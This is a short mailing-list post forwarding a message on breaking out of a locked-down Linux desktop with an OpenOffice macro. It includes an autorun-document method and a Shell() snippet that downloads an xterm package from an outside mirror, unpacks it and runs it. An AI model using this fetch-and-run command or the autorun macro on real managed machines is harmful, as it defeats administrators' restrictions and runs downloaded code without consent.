Some friends asked me some tips for how to make a locked down machine that
doesn't allow the user to execute anything from the GUI and doesn't have a
terminal emulator installed into starting a terminal, using an allowed
application, OpenOffice. The below is hardly a security vulnerability
(unless you count "if the GUI can't do it, then the user can't either!" a
real security attempt), but it is a method that could be helpful in making
different sorts of things this mailing list seems to like. So here ya go.

---------- Forwarded message ----------
From: Jason A. Donenfeld <Jason@zx2c4.com>
Subject: Spawn a terminal using OpenOffice, just for funzies.

Howdy Boys and Girls,

So you want to use OpenOffice.org to spawn a command line terminal on a
computer that has no X terminal emulator installed or an easy way to run
apps, eh?

*Method 1:
*Run the macro in a new document.
See method-1.ogv <http://data.zx2c4.com/openoffice-execute/method-1.ogv>

*Method 2:
*Have the macro autorun from a preexisting file. Downside: requires low
macro security option.
See method-2.ogv <http://data.zx2c4.com/openoffice-execute/method-2.ogv>
See terminal-spawn.odt<http://data.zx2c4.com/openoffice-execute/terminal-spawn.odt>

Helpful macro snippet:
Shell("sh -c 'dir=`mktemp -d`; cd $dir; wget
http://mirror.pnl.gov/ubuntu//pool/main/x/xterm/xterm_256-1ubuntu1_i386.deb;
ar x xterm_256-1ubuntu1_i386.deb; tar xzf data.tar.gz; cd /;
$dir/usr/bin/xterm & rm -rf $dir'", 1)

Have fun with this trick.

Jason